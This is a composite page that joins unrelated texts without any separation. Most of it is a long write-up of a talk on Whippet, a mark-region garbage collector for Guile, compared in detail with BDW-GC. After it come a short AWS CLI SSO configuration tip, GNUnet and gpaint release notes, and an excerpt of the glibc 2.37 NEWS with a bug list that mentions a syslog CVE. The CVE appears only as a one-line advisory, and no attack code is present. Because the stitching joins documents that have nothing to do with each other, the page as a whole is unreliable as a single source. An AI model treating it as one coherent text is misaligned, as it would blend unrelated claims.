One way is to inform the garbage collector of the locations of allroots: references to objects originating from outside the heap. Thiscan be done explicitly, as in V8's Handle<>API, orimplicitly, in the form of a side table generated by the compilerassociating code locations with root locations. This is called preciserooting: the GC is aware of all root locations at all code positionswhere GC might happen. Generally speaking you want the side table approach,in which the compiler writes out root locations to stack maps, becauseit doesn't impose any overhead at run-time to register and unregisterlocations. However for run-time routines implemented in C or C++, youwon't be able to get the C compiler to do this for you, so you need theexplicit approach if you want precise roots.
Conservative roots
Treat every word in stack as potential root; over-approximate live object set
1993: Bespoke GC inherited from SCM
2006 (1.8): Added pthreads, bugs
2009 (2.0): Switch to BDW-GC
BDW-GC: Roots also from extern SCM foo;, etc
The other way to find roots is very much not The Right Thing. Call itcheeky, call it sloppy, call it yolo, call it what you like, but in thetrade it's known as conservative root-finding. This strategy lookslike this:
You just look at every word on the stack and pretend it's a pointer. Ifit happens to point to an object in the heap, we add that object to thelive set. Of course this algorithm can find a spicy integer whose valuejust happens to correspond to an object's address, even if that objectwouldn't have been counted as live otherwise. This approach doesn'tcompute the minimal live set, but rather a conservativeover-approximation. Oh well. In practice this doesn't seem to be a bigdeal?
Guile has used conservative root-finding since its beginnings, 30 yearsago and more. We had our own bespoke mark-sweep GC in the beginning,but it's now going on 15 years or so that we switched to the third-partyBoehm-Demers-Weiser (BDW) collector.It's been good to us! It's better than what we had, it's mostly justworked, and it works correctly with threads.
Conservative roots
+: Ergonomic, eliminates class of bugs (handle registration), no compiler constraints
-: Potential leakage, no compaction / object motion; no bump-pointer allocation, calcifies GC choice
Conservative root-finding does have advantages. It's quite pleasant toprogram with, in environments in which the compiler is unable to producestack maps for you, as it eliminates a set of potential bugs related toexplicit handle registration and unregistration. Like stack maps, italso doesn't impose run-time overhead on the user program. And althoughthe compiler isn't constrained to emit code to clear roots, it generallydoes, and sometimes does so more promptly than would be the case with explicit handle deregistration.
But, there are disadvantages too. The potential for leaks is one, though I have to say thatin 20 years of using conservative-roots systems, I have not found thisto be a problem. It's a source of anxiety whenever a program has memoryconsumption issues but I've never identified it as being the culprit.
The more serious disadvantage, though, is that conservative edgesprevent objects from being moved by the GC. If you know that a locationholds a pointer, you can update that location to point to a new locationfor an object. But if a location only might be a pointer, you can'tdo that.
In the end, the ergonomics of conservative collection lead to a kind ofcalcification in Guile, that we thought that BDW was as good as we couldget given the constraints, and that changing to anything else wouldrequire precise roots, and thus an API and ABI change, losing users, andso on.
What if I told you
You can find roots conservatively and
move objects and compact the heap
do fast bump-pointer allocation
incrementally migrate to precise roots
BDW is not the local maximum
But it turns out, that's not true! There is a way to have conservativeroots and also use more optimal GC algorithms, and one which preservesthe ability to incrementally refactor the system to have more precisionif that's what you want.
Immix
Fundamental GC algorithms
mark-compact
mark-sweep
evacuation
mark-region
Immix is a mark-region collector
Let's back up to a high level. Garbage collector implementations are assembled from instances ofalgorithms, and there are only so many kinds of algorithms out there.
There's mark-compact, in which the collector traverses the objectgraph once to find live objects, then once again to slide them down toone end of the space they are in.
There's mark-sweep, where thecollector traverses the graph once to find live objects, then traversesthe whole heap, sweeping dead objects into free lists to be used forfuture allocations.
There's evacuation, where the collector does asingle pass over the object graph, copying the objects outside theirspace and leaving a forwarding pointer behind.
The BDW collector used by Guile is a mark-sweep collector, and its useof free lists means that allocation isn't as fast as it could be. Wewant bump-pointer allocation and all the other algorithms give it to us.
Then in 2008, Stephen Blackburn and Kathryn McKinley put out their Immix paper that identifieda new kind of collection algorithm, mark-region. A mark-regioncollector will mark the object graph and then sweep the whole heap for unmarked regions, which can then be reused for allocatingnew objects.
Allocate: Bump-pointer into holes in thread-local block, objects can span lines but not blocks
Trace: Mark objects and lines
Sweep: Coarse eager scan over line mark bytes
Blackburn and McKinley's paper also describes a new mark-region GCalgorithm, Immix, which is interesting because it gives us bump-pointerallocation without requiring that objects be moveable. The diagramabove, from the paper, shows the organization of an Immix heap.Allocating threads (mutators) obtain 64-kilobyte blocks from the heap.Blocks contains 128-byte lines. When Immix traces the object graph,it marks both objects and the line the object is on. (Usually blocksare part of 2MB aligned slabs, with line mark bits/bytes are stored in apacked array at the start of the slab. When marking an object, it'seasy to find the associated line mark just with address arithmetic.)
Immix reclaims memory in units of lines. A set of contiguous lines thatwere not marked in the previous collection form a hole (a region).Allocation proceeds into holes, in the usual bump-pointer fashion,giving us good locality for contemporaneously-allocated objects, unlikefreelist allocation. The slow path, if the object doesn't fit in thehole, is to look for the next hole in the block, or if needed to acquireanother block, or to stop for collection if there are no more blocks.
Immix: Opportunistic evacuation
Before trace, determine if compaction needed. If not, mark as usual
If so, select candidate blocks and evacuation target blocks. When tracing in that block, try to evacuate, fall back to mark
The neat thing that Immix adds is a way to compact the heap viaopportunistic evacuation. As Immix allocates, it can end up skippingover holes and leaving them unpopulated, and as subsequent cycles of GCoccur, it could be that a block ends up with many small holes. If thathappens to many blocks it could be time to compact.
To fight fragmentation, Immix decides at the beginning of a GC cyclewhether to try to compact or not. If things aren't fragmented, Immixmarks in place; it's cheaper that way. But if compaction is needed,Immix selects a set of blocks needing evacuation and another set ofempty blocks to evacuate into. (Immix has to keep around a couplepercent of memory in empty blocks inreserve forthis purpose.)
As Immix traverses the object graph, if it finds that an object is in ablock that needs evacuation, it will try to evacuate instead of marking.It may or may not succeed, depending on how much space is available toevacuate into. Maybe it will succeed for all objects in that block, andyou will be left with an empty block, which might even be given back tothe OS.
Immix: Guile
Opportunistic evacuation compatible with conservative roots!
Bump-pointer allocation
Compaction!
1 year ago: start work on WIP GC implementation
Tying this back to Guile, this gives us all of our desiderata: we canevacuate, but we don't have to, allowing us to cause referents ofconservative roots to be marked in place instead of moved; we canbump-pointer allocate; and we are back on the train of modern GCimplementations. I could no longer restrain myself: I started hackingon a work-in-progress garbage collector workbench about a year ago, andended up with something that seems to take us in the right direction.
Whippet vs Immix: Tiny lines
Immix: 128B lines + mark bit in object
Whippet: 16B “lines”; mark byte in side table
More size overhead: 1/16 vs 1/128
Less fragmentation (1 live obj = 2 lines retained)
More alloc overhead? More small holes
What I ended up building wasn't quite Immix. Guile's objectrepresentation is very thin and doesn't currently have space for a markbit, for example, so I would have to have a side table of mark bits. (Icould have changed Guile's object representation but I didn't want torequire it.) I actually chose mark bytes instead of bits because both the Immix linemarks and BDW's own side table of marks were bytes, to allow forparallel markers to race when setting marks.
Then, given that you have a contiguous table of mark bytes, why notremove the idea of lines altogether? Or what amounts to the same thing, why not makeline size to be 16 bytes and do away with per-object mark bits? You can then bump-pointer into holes in the markbyte array. The only thing you need to do to that is to be able to cheaplyfind the end of an object, so you can skip to the next hole whilesweeping; you don't want to have to chase pointers to do that. Butconsider, you've already paid the cost of having a mark byte associatedwith every possible start of an object, so if your basic objectalignment is 16 bytes, that's a memory overhead of 1/16, or 6.25%; OK.Let's put that mark byte to work and include an "end" bit, indicatingthe end of the object. Allocating an object has to store into the markbyte array to initialize this "end" marker, but you need to write themark byte anyway to allow for conservative roots ("does this addresshold an object?"); writing the end at the same time isn't so bad,perhaps.
The expected outcome would be that relative to 128-byte lines, Whippetends up with more, smaller holes. Such a block would be a prime targetfor evacuation, of course, but during allocation this is overhead. Or,it could be a source of memory efficiency; who knows. There is somescience yet to do to properly compare this tactic to original Immix, butI don't think I will get around to it.
While I am here and I remember these things, I need to mention two moredetails. If you read the Immix paper, it describes "conservative linemarking", which is related to how you find the end of an object;basically Immix always marks the line an object is on and the nextone, in case the object spans the line boundary. Only objects largerthan a line have to precisely mark the line mark array when they aretraced. Whippet doesn't do this because we have the end bit.
The other detail is the overflow allocator; in the original Immix paper,if you allocate an object that's smallish but still larger than a lineor two, but there's no hole big enough in the block, Immix keeps arounda completely empty block per mutator in which to bump-pointer-allocatethese medium-sized objects. Whippet doesn't do that either, insteadrelying on such failure to allocate in a block to cause fragmentationand thus hurry along the process of compaction.
Whippet vs Immix: Lazy sweeping
Immix: “cheap” eager coarse sweep
Whippet: just-in-time lazy fine-grained sweep
Corrolary: Data computed by sweep available when sweep complete
Live data at previous GC only known before next GC
Empty blocks discovered by sweeping
Having a fine-grained line mark array means that it's no longer a win todo an eager sweep of all blocks after collecting. Instead Whippetapplies the classic "lazy sweeping" optimization to make mutators sweeptheir blocks just before allocating into them. This introduces a delayin the collectionalgorithm:Whippet doesn't find out about e.g. fragmentation until the whole heapis swept, but by the time we fully sweep the heap, we've exhausted itvia allocation. It introduces a different flavor to the GC, notentirely unlike original Immix, but foreign.
Right! With that out of the way, let's talk about what Whippet gives toGuile, relative to BDW-GC.
Whippet vs BDW: Motion
Heap-conservative tracing: no object moveable
Stack-conservative tracing: stack referents pinned, others not
Whippet: If whole-heap fragmentation exceeds threshold, evacuate most-fragmented blocks
Stack roots scanned first; marked instead of evacuated, implicitly pinned
Explicit pinning: bit in mark byte
If all edges in the heap are conservative, then you can't move anything,because you don't know if an edge is a pointer that can be updated orjust a spicy integer. But most systems aren't actually like this: youhave conservative edges from the stack, but you can precisely enumerateintra-object edges on the heap. In that case, you have a known set ofconservative edges, and you can simply visit those edges first, markingtheir referents in place instead of evacuating. (Marking an objectinstead of evacuating implicitly pins it for the duration of the currentGC cycle.) Then you visit heap edges precisely, possibly evacuatingobjects.
I should note that Whippet has a bit in the mark byte for use inexplicitly pinning an object. I'm not sure how to manage who isresponsible for setting that bit, or what the policy will be; thecurrent idea is to set it for any object whose identity-hash value istaken. We'll see.
Whippet vs BDW: Shrinking
Lazy sweeping finds empty blocks: potentially give back to OS
With the BDW collector, your heap can only grow; it will never shrink(unless you enable a non-default option and you happen to have verrrylow fragmentation). But with Whippet and evacuation, we can rearrangeobjects so as to produce empty blocks, which can then be returned to theOS if so desired.
In one of my microbenchmarks I have the system allocating long-liveddata, interspersed with garbage (objects that are dead after allocation)whose size is in a power-law distribution. This should produce quitesome fragmentation, eventually, and it does. But then Whippet decidesto defragment, and it works great! Since Whippet doesn't keep a whole2x reserve like a semi-space collector, it usually takes more than oneGC cycle to fully compact the heap; usually about 3 cycles, from what Ican see. I should do some more measurements here.
Of course, this is just mechanism; choosing the right heap sizingpolicyis a different question.
Card marking barrier (256B); compare to BDW mprotect / SIGSEGV
The Boehm collector also has a non-default mode in which it usesmprotect and a SIGSEGV handler to enable sticky-mark-bitgenerational collection. I haven't done a serious investigation, but Isee it actually increasing run-time by 20% on one of my microbenchmarksthat is actually generation-friendly. I know that Azul's C4 collectorused to use page protection tricks but I can only assume that BDW'salgorithm just doesn't work very well. (BDW's page barriers haveanother purpose, to enable incremental collection, in which marking isinterleaved with allocation, but this mode is off if parallel markersare supported, and I don't know how well it works.)
Anyway, it seems we can do better. The ideal would be a semi-spacenursery, which is the usual solution, but because of conservative rootswe are limited to the sticky mark-bitalgorithm.Some benchmarks aren't very generation-friendly; the first pair of barsin the chart above shows the mt-gcbench microbenchmark running withand without generational collection, and there's no difference. But inthe second, for the quads benchmark, we see a 2x speedup or so.
Of course, to get generational collection to work, we require mutatorsto use write barriers, which are little bits of code that run when anobject is mutated that tell the GC where it might find links from oldobjects to new objects. Right now in Guile we don't do this, but thisbenchmark shows what can happen if we do.
Whippet vs BDW: Scale
BDW: TLS segregated-size freelists, lock to refill freelists, SIGPWR for stop
Whippet: thread-local block, sweep without contention, wait-free acquisition of next block, safepoints to stop with ragged marking
Both: parallel markers
Another thing Whippet can do better than BDW is performance when thereare multiple allocating threads. The Immix heap organizationfacilitates minimal coordination between mutators, and maximum localityfor each mutator. Sweeping is naturally parallelized according to howmany threads are allocating. For BDW, on the other hand, every time anmutator needs to refill its thread-local free lists, it grabs a globallock; sweeping is lazy but serial.
Here's a chart showing whippet versus BDW on one microbenchmark. On theX axis I add more mutator threads; each mutator does the same amount ofallocation, so I'm increasing the heap size also by the same factor asthe number of mutators. For simplicity I'm running both whippet and BDWwith a single marker thread, so I expect to see a linear increase inelapsed time as the heap gets larger (as with 4 mutators there areroughly 4 times the number of live objects to trace). This test is runon a Xeon Silver 4114, taskset to free cores on a single socket.
What we see is that as I add workers, elapsed time increases linearlyfor both collectors, but more steeply for BDW. I think (but am notsure) that this is because whippet effectively parallelizes sweeping andallocation, whereas BDW has to contend over a global lock to sweep andrefill free lists. Both have the linear factor of tracing the objectgraph, but BDW has the additional linear factor of sweeping, whereaswhippet scales with mutator count.
Incidentally you might notice that at 4 mutator threads, BDW randomlycrashed, when constrained to a fixed heap size. I have noticed that ifyou fix the heap size, BDW sometimes (and somewhat randomly) fails. Isuspect the crash due to fragmentation and inability to compact, but whoknows; multiple threads allocating is a source of indeterminism.Usually when you run BDW you let it choose its own heap size, but forthese experiments I needed to have a fixed heap size instead.
Another measure of scalability is, how does the collector do as you addmarker threads? This chart shows that for both collectors, runtimedecreases as you add threads. It also shows that whippet issignificantly slower than BDW on this benchmark, which is Very Weird,and I didn't have access to the machine on which these benchmarks wererun when preparing the slides in the train... so, let's call this charta good reminder that Whippet is a WIP :)
While in the train to Brussels I re-ran this test on the 4-core laptop Ihad on hand, and got the results that I expected: that whippet performedsimilarly to BDW, and that adding markers improved things, albeitmarginally. Perhaps I should look on a different microbenchmark.
Incidentally, when you configure Whippet for parallel marking atbuild-time, it uses a different implementation of the mark stack whencompared to the parallel marker, even when only 1 marker is enabled.Certainly the parallel marker could use some tuning.
Whippet vs BDW: Ephemerons
BDW: No ephemerons
Whippet: Yes
Another deep irritation I have with BDW is that it doesn't supportephemerons.In Guile we have a number of facilities(finalizers,guardians,the symbol table, weakmaps,et al) built on what BDW does have(finalizers,weakreferences),but the implementations of these facilities in Guile are hacky, slow,sometimes buggy, and don't compose (try putting an object in a guardianand giving it afinalizer to seewhat I mean). It would be much better if the collector API supportedephemerons natively, specifying their relationship to finalizers andother facilities, allowing us to build what we need in terms of thoseprimitives. With our own GC, we can do that, and do it in such a waythat it doesn't depend on the details of the specific collectionalgorithm. The exception of course is that as BDW doesn't supportephemerons per se, what we get is actually a weak-key associationinstead, whose value can keep the key alive. Oh well, it's no worsethan the current situation.
Whippet vs BDW: Precision
BDW: ~Always stack-conservative, often heap-conservative
Whippet: Fully configurable (at compile-time)
Guile in mid/near-term: C stack conservative, Scheme stack precise, heap precise
Possibly fully precise: unlock semi-space nursery
Conservative tracing is a fundamental design feature of the BDWcollector, both of roots and of inter-heap edges. You can tell BDW howto trace specific kinds of heap values, but the default is to do aconservative scan, and the stack is always scanned conservatively. Incontrast, these tradeoffs are all configurable in Whippet. You can scanthe stack and heap precisely, or stack conservatively and heapprecisely, or vice versa (though that doesn't make much sense), or bothconservatively.
The long-term future in Guile is probably to continue to scan the Cstack conservatively, to continue to scan the Scheme stack precisely(even with BDW-GC, the Scheme compiler emits stack maps and installs acustom mark routine), but to scan the heap as precisely as possible. Itcould be that a user uses some of our hoary ancientAPIsto allocate an object that Whippet can't trace precisely; in that casewe'd have to disable evacuation / object motion, but we could stilltrace other objects precisely.
If Guile ever moved to a fully precise world, that would be a boon forperformance, in two ways: first that we would get the ability to use asemi-space nursery instead of the sticky-mark-bit algorithm, andrelatedly that we wouldn't need to initialize mark bytes when allocatingobjects. Second, we'd gain the option to use must-move algorithms for theold space as well (mark-compact, semi-space) if we wanted to. But it'sjust an option, one that that Whippet opens up for us.
Whippet vs BDW: Tools?
Can build heap tracers and profilers moer easily
More hackable
(BDW-GC has as many preprocessor directives as whippet has source lines)
Finally, relative to BDW-GC, whippet has a more intangible advantage: Ican actually hack on it. Just as an indication, 15% of BDW source linesare pre-processor directives, and there is one file that has like 150#ifdef's, not counting #elseif's, many of them nested. I haven'tdone all that much to BDW itself, but I personally find it excruciatingto work on.
Hackability opens up the possibility to build more tools to help usdiagnose memory use problems. They aren't in Whippet yet, but there canbe!
OK, that rounds out the comparison between BDW and Whippet, at least ona design level. Now I have a few words about how to actually get thisnew collector into Guile without breaking the bug budget. I try toarrange my work areas on Guile in such a way that I spend a minimum oftime on bugs. Part of my strategy is negligence, I will admit, but partalso is anticipating problems and avoiding them ahead of time, even ifit takes more work up front.
for selected GC algorithm (e.g. semi-space vs whippet)
Built apart, but with LTO to remove library overhead
So the BDW collector is typically shipped as a shared library that youdynamically link to. I should say that we've had an overall goodexperience with upgrading BDW-GC in the past; its maintainer (IvanMaidanski) does a great and responsible job on a hard project. It'sbeen many, many years since we had a bug in BDW-GC. But still, BDW isdependency, and all things beingequal weprefer to remove moving parts.
The approach that Whippet is taking is to be an embed-only library:it's designed to be compiled into your project. It's not aninclude-only library; it still has to be compiled, but withlink-time-optimization and a judicious selection of fast-pathinterfaces, Whippet is mostly able to avoid abstractions being aperformance barrier.
The result is that Whippet is small, both in source and in binary, whichminimizes its maintenance overhead. Taking additional strippedoptimized binary size as the metric, by my calculations a semi-spacecollector (with a large object space and ephemeron support) takes about6 kB of object file size, whereas Whippet takes 22 and BDW takes 184.Part of how Whippet gets so small is that it is is configured in majorways at compile-time (choice of main GC algorithm), and specializedagainst the program it's embedding against (e.g. how to patch in aforwarding pointer). Having all API being internal and visible to LTOinstead of going through ELF symbol resolution helps in a minor way aswell.
Engineering Whippet: Abstract performance
User API abstracts over GC algorithm, e.g. semi-space or whippet
Expose enough info to allow JIT to open-code fast paths
Abstractions permit change: of algorithm, over time
From a composition standpoint, Whippet is actually a few things.Firstly there is an abstract API to make a heap, createper-thread mutators for a heap, and allocateobjects for a mutator. Thereis the aforementioned embedderAPI,for having the embedding program indicate how to trace objects andinstall forwarding pointers. Then there is some common code (forexample ephemeronsupport).There are implementations of the different spaces:semi-space,largeobject,whippet/immix;and finally collector implementations that tie together the spaces intoa full implementation of the abstract API. (In practice the more iconicspaces are intertwingled with the collector implementations theydefine.)
I don't think I would have gone down this route without seeing someprior work, for examplelibpas,but it was really MMTk that convinced me that it wasworth spending a little time thinking about the GC not as astructureless blob but as a system made of parts and exposing a minimalinterface. In particular, I was inspired by seeing that MMTk is able toget good performance while also being abstract, exposing representationdetails such as how to tell a JIT compiler about allocation fast-paths,but in a principled way. So, thanks MMTk people, for this and so manythings!
I'm particularly happy that the API is abstract enough that it frees upnot only the garbage collector to change implementations, but also Guileand other embedders, in that they don't have to bake in a dependency onspecific collectors. The semi-space collector has been particularlyuseful here in ensuring that the abstractions don't accidentally rely onsupport for object pinning.
Engineering Whippet: Migration
API implementable by BDW-GC (except ephemerons)
First step for Guile: BDW behind Whippet API
Then switch to whippet/immix (by default)
The collector API can actually be implemented by the BDW collector.Whippet includes a collector that is a thin wrapper around the BDWAPI, with supportfor fast-path allocation via thread-local freelists. In this way we canalways check the performance of any given collector against an externalfixed point (BDW) as well as a theoretically known point (the semi-spacecollector).
Indeed I think the first step for Guile is precisely this: refactorGuile to allocate through the Whippet API, but using the BDW collectoras the implementation. This will ensure that the Whippet API issufficient, and then allow an incremental switch to other collectors.
Incidentally, when it comes to integrating Whippet, there are somechoices to be made. I mentioned that it's quite configurable, and thischart can give you some idea. On the left side is one microbenchmark(mt-gcbench) and on the right is another (quads). The firstgenerates a lot of fragmentation and has a wide range of object sizes,including some very large objects. The second is very uniform and manyallocations die young.
(I know these images are small; right-click to open in new tab or pinchto zoom to see more detail.)
Within each set of bars we have 10 different scenarios, corresponding todifferent Whippet configurations. (All of these tests are run on my old4-core laptop with 4 markers if parallel marking is supported, and a 2xheap.)
The first bar in each side is serial whippet: one marker. Then we seeparallel whippet: four markers. Great. Then there's generationalwhippet: one marker, but just scanning objects allocated in the currentcycle, hoping that produces enough holes. Then generational parallelwhippet: the same as before, but with 4 markers.
The next 4 bars are the same: serial, parallel, generational,parallel-generational, but with one difference: the stack is scannedconservatively instead of precisely. You might be surprised but all ofthese configurations actually perform better than their precisecounterparts. I think the reason is that the microbenchmark usesexplicit handle registration and deregistration (it's a stack) insteadof compiler-generated stack maps in a side table, but I'm not precisely(ahem) sure.
Finally the next 2 bars are serial and parallel collectors, but markingeverything conservatively. I have generational measurements for thisconfiguration but it really doesn't make much sense to assume that youcan emit write barriers in this context. These runs are slower than theprevious configuration, mostly because there are some non-pointerlocations that get scanned conservatively that wouldn't get scannedprecisely. I think conservative heap scanning is less efficient thanprecise but I'm honestly not sure, there are some instruction localityarguments in the other direction. For mt-gcbench though there's a bigarray of floating-point values that a precise scan will omit, whichcauses significant overhead there. Probably for this configuration tobe viable Whippet would need the equivalent of BDW's API to allocateknown-pointerlessobjects.
Engineering Whippet: Modern
stdatomic
constexpr-ish
pthreads (for parallel markers)
No void*; instead struct types: gc\_ref, gc\_edge, gc\_conservative\_ref, etc
Embed-only lib avoids any returns-struct-by-value ABI issue
Rust? MMTk; supply chain concerns
Platform abstraction for conservative root finding
I know it's a sin, but Whippet is implemented in C. I know. The thingis, in the Guile context I need to not introduce wild compile-timedependencies, because ofbootstrapping.And I know that Rust is a fine language to use for GCimplementation, so ifthat's what you want, please do go take a look at MMTk! It's afantastic project, written in Rust, and it can just slot into yourproject, regardless of the language your project is written in.
But if what you're looking for is something in C, well then you have topick and choose your C. In the case of Whippet I try to use the limitedabilities of C to help prevent bugs; for example, I generally avoidvoid* and instead wrap pointers or addresses into single-field structsthat can't be automatically cast, for example to prevent a struct gc\_ref that denotes an object reference (or NULL; it's an optiontype) from being confused with a struct gc\_conservative\_ref, whichmight not point to an object at all.
(Of course, by "C" I mean "C as compiled by gcc and clang with -fno-strict-aliasing". I don't know if it's possible to implement even a simple semi-space collector in C without aliasing violations. Can you access a Foo* object within a mmap'd heap through its new address after it has been moved via memcpy? Maybe not, right? Thoughts are welcome.)
As a project written in the 2020s instead of the 1990s, Whippet gets toassume a competent C compiler, for example relying on the compiler toinline and fold branches where appropriate. As in libpas, Whippetliberally passes functions as values to inline functions, and relies onthe compiler to boil away function calls. Whippet only uses the Cpreprocessor when it absolutely has to.
Finally, there is a clean abstraction for anything that'splatform-specific, for example finding the current stackbounds. Ihaven't compiled this code on Windows or MacOS yet, but I am notanticipating too many troubles.
Engineering Whippet: Timeline
As time permits
Whippet TODO: heap growth/shrinking, finalizers, safepoint API
Guile TODO: safepoints; heap-conservative first
Precise heap TODO: gc\_trace\_object, SMOBs, user structs with raw ptr fields, user gc\_malloc usage; 3.2
6 months for 3.1.1; 12 for 3.2.0 ?
So where does this get us? Where are we now?
For Whippet itself, I think it's mostly done -- enough to start shiftingfocus to some different phase. It's missing some needed features,notably the ability to grow the heap at all, as I've been infixed-heap-size-only mode during development. It's also missingfinalizers. And, something needs to be done to unify Guile's handlingof safepoints and processing of asynchronoussignalswith Whippet's need to stop all mutators. Some details remain.
But, I think we are close to ready to start integrating in Guile. Atfirst this is just porting Guile to use the Whippet API to access BDWinstead of using BDW directly. This whole thing is a side project forme that I work on when I can, so it doesn't exactly proceed at fullpace. Perhaps this takes 6 months. Then we can cut a new unstablerelease, and hopefully release 3.2 withe support for the Immix-flavoredcollector in another 6 or 9 months.
I thought that we would be forced to make ABI changes, if only becauseof some legacyAPIsassume conservative tracing of object contents. But after a discussionat FOSDEM with Carlo Piovesan Irealized this isn't true: because the decision to evacuate or not ismade on a collection-by-collection basis, I could simply disableevacuation if the user ever uses a facility that might prohibit objectmotion, for example if they ever define a SMOB type. If the user wantsevacuation, they need to be more precise with their data types, buteither way Guile is ready.
And that's it! Thanks for reading all the way here. Comments are quitewelcome.
As I mentioned in the very beginning, this talk was really about Whippetin the context of Guile. There is a different talk to be made aboutGuile+Whippet versus other language implementations, for example thosewith concurrent marking or semi-space nurseries or the like. Yetanother talk is Whippet in the context of other GC algorithms. But thisis a start. It's something I've been working on for a while now alreadyand I'm pleased that it's gotten to a point where it seems to be atleast OK, at least an improvement with respect to BDW-GC in some ways.
But before leaving you, another chart, to give a more global idea of thestate of things. Here we compare a single mutator thread performing aspecific microbenchmark that makes trees and also lots of fragmentation,across three different GC implementations and a range of heap sizes.The heap size multipliers in this and in all the other tests in thispost are calculated analytically based on what the test thinks itsmaximum heap size should be, not by measuring minimum heap sizes thatwork. This size is surely lower than the actual maximum required heapsize due to internal fragmentation, but the tests don't know about this.
The three collectors are BDW, a semi-space collector, and whippet.Semi-space manages to squeeze in less than 2x of a heap multiplierbecause it has (and whippet has) a separate large objectspacethat isn't ever evacuated.
What we expect is that tighter heaps impose more GC time, and indeed wesee that times are higher on the left side than the right.
Whippet is the only implementation that manages to run at a 1.3x heap,but it takes some time. It's slower than BDW at a 1.5x heap but betterthere on out, until what appears to be a bug or pathology makes it takelonger at 5x. Adding memory should always decrease run time.
The semi-space collector starts working at 1.75x and then surpasses allcollectors from 2.5x onwards. We expect the semi-space collector to winfor big heaps, because its overhead is proportional to live data only,whereas mark-sweep and mark-region collectors have to sweep, which isproportional to heap size, and indeed that's what we see.
I think this chart shows we have some tuning yet to do. The rangebetween 2x and 3x is quite acceptable, but we need to see what's causingWhippet to be slower than BDW at 1.5x. I haven't done as muchperformance tuning as I would like to but am happy to finally be able toknow where we stand.
And that's it! Happy hacking, friends, and may your heap sizes be everrighteous.
When you configure AWS CLI to use an IAM user, the first thing it asks for is an SSO session name. Don’t put whitespace or punctuation in it. The command doesn’t tell you this, but it’s going to use what you enter as an identifier, and fail with a cryptic error:
$ aws configure ssoSSO session name (Recommended): AWS CLI on Gary's ChromebookSSO start URL [None]: https://whatever.awsapps.com/startSSO region [None]: us-east-1SSO registration scopes [sso:account:access]:An error occurred (InvalidClientMetadataException) when calling the RegisterClient operation:
You need to put something like “gbenson” in there.
This is a bugfix release for gnunet 0.19.2.Note that starting with this release, we will no longer ship a verbose ChangeLog file in the tarball. The git log serves this purpose now.
This release combines existing patches from GNU/Linux distributions into an official release. In addition, the build infrastructure is modernized to be based on current versions of the GNU Autotools
Changes in this version:
* adding guix.scm, development under GNU Guix support
Debian patches from Goedson Teixeira Paixao <goedson> incorporatd into main release includng patches for * fixing missing heds libs by <goedson> * Fix toolbar behaviour so that gpaint follows the style set in the user preferences by <goedson> * Fix foreground/background color selection by <goedson> * Fix crash when saving in unsupported format by <goedson> * Add accelerator keys to common functions by Matt Wheeler <m@funkyhat.org> * Ignore non-printable characters on text input by Ying-Chun Liu (PaulLiu) <grandpaul@gmail.com> * fix crash on fill button click by <goedson> * Fix line width combo box by Thomas Viehmann <tv@beamnet.de> * Fixes rotation operations: Implement the rotation in multiples of 90 degrees using the gdk\_pixbuf\_rotate\_simple function by <goedson> * Avoids crash on font selection by <goedson> * Fixes the gpaint.desktop file by <goedson> * Removes reference to non-existent menu.h file by <goedson> * Fixes compiling with recent versions of libgtk by <goedson>
This release represents gpaint is resuming active development.
Roadmap is detailed in README file but suggestions are welcome.
The GNU C Library is used as the C library in the GNU system and in GNU/Linux systems, as well as many other systems that use Linux as the kernel.
The GNU C Library is primarily designed to be a portable and high performance C library. It follows all relevant standards including ISO C11 and POSIX.1-2017. It is also internationalized and has one of the most complete internationalization interfaces known.
Distributions are encouraged to track the release/* branches corresponding to the releases they are using. The release branches will be updated with conservative bug fixes and new features while retaining backwards compatibility.
NEWS for version 2.37 =====================
Major new features:
The getent tool now supports the --no-addrconfig option. The output of
getent with --no-addrconfig may contain addresses of families not configured on the current host i.e. as-if you had not passed AI\_ADDRCONFIG to getaddrinfo calls.
Deprecated and removed features, and other changes affecting compatibility:
The dynamic linker no longer loads shared objects from the "tls"
subdirectories on the library search path or the subdirectory that corresponds to the AT\_PLATFORM system name, or employs the legacy AT\_HWCAP search mechanism, which was deprecated in version 2.33.
Security related changes:
CVE-2022-39046: When the syslog function is passed a crafted input string larger than 1024 bytes, it reads uninitialized memory from the heap and prints it to the target log file, potentially revealing a portion of the contents of the heap.
The following bugs are resolved with this release:
[12154] network: Cannot resolve hosts which have wildcard aliases [12165] libc: readdir: Do not skip entries with zero d\_ino values [19444] build: build failures with -O1 due to -Wmaybe-uninitialized [24774] nptl: pthread\_rwlock\_timedwrlock stalls on ARM [24816] nss: nss/tst-nss-files-hosts-long fails when no interface has AF\_INET6 address (ie docker) [27087] stdio: PowerPC: Redefinition error with Clang from IEEE redirection headers [28846] network: CMSG\_NXTHDR may trigger -Wstrict-overflow warning [28937] dynamic-link: New DSO dependency sorter does not put new map first if in a cycle [29249] libc: csu/libc-tls.c:202: undefined reference to `\_startup\_fatal\_not\_constant' [29305] network: Inefficient buffer space usage in nss\_dns for gethostbyname and other functions [29375] libc: don't hide MAP\_ANONYMOUS behind \_GNU\_SOURCE [29402] nscd: nscd: No such file or directory [29415] nscd: getaddrinfo with AI\_ADDRCONFIG returns addresses with wrong family [29427] dynamic-link: Inconsistency detected by ld.so: dl-printf.c: 200: \_dl\_debug\_vdprintf: Assertion `! "invalid format specifier"' failed! [29463] math: math/test-float128-y1 fails on x86\_64 [29485] build: Make hangs when the test misc/tst-pidfile returns FAIL\_UNSUPPORTED [29490] dynamic-link: [bisected] new \_\_brk\_call causes dynamic loader segfault on alpha [29499] build: Check failed on misc/tst-glibcsyscalls while building for RISCV64 on a unmatched hardware [29501] build: Check failed on stdlib/tst-strfrom while building for RISCV64 on a unmatched hardware [29502] libc: alpha sys/acct.h out of date [29514] build: Need to use -fPIE not -fpie [29528] dynamic-link: \_\_libc\_early\_init not called after dlmopen that reuses namespace [29536] libc: syslog fail to create large messages (CVE-2022-39046) [29537] libc: [2.34 regression]: Alignment issue on m68k when using futexes on qemu-user [29539] libc: LD\_TRACE\_LOADED\_OBJECTS changed how vDSO library are printed [29544] libc: Regression in syslog(3) calls breaks RFC due to extra whitespace [29564] build: Incorrect way to change MAKEFLAGS in Makerules [29576] build: librtld.os: in function `\_dl\_start\_profile': (.text+0x9444): undefined reference to `strcpy' [29578] libc: Definition of SUN\_LEN() is wrong [29583] build: iconv failures on 32bit platform due to missing large file support [29600] dynamic-link: dlmopen hangs after loading certain libraries [29604] localedata: Update locale data to Unicode 15.0.0 [29605] nscd: Regression in NSCD backend of getaddrinfo [29607] nscd: nscd repeatably crashes calling \_\_strlen\_avx2 when hosts cache is enabled [29611] string: Optimized AVX2 string functions unconditionally use BMI2 instructions 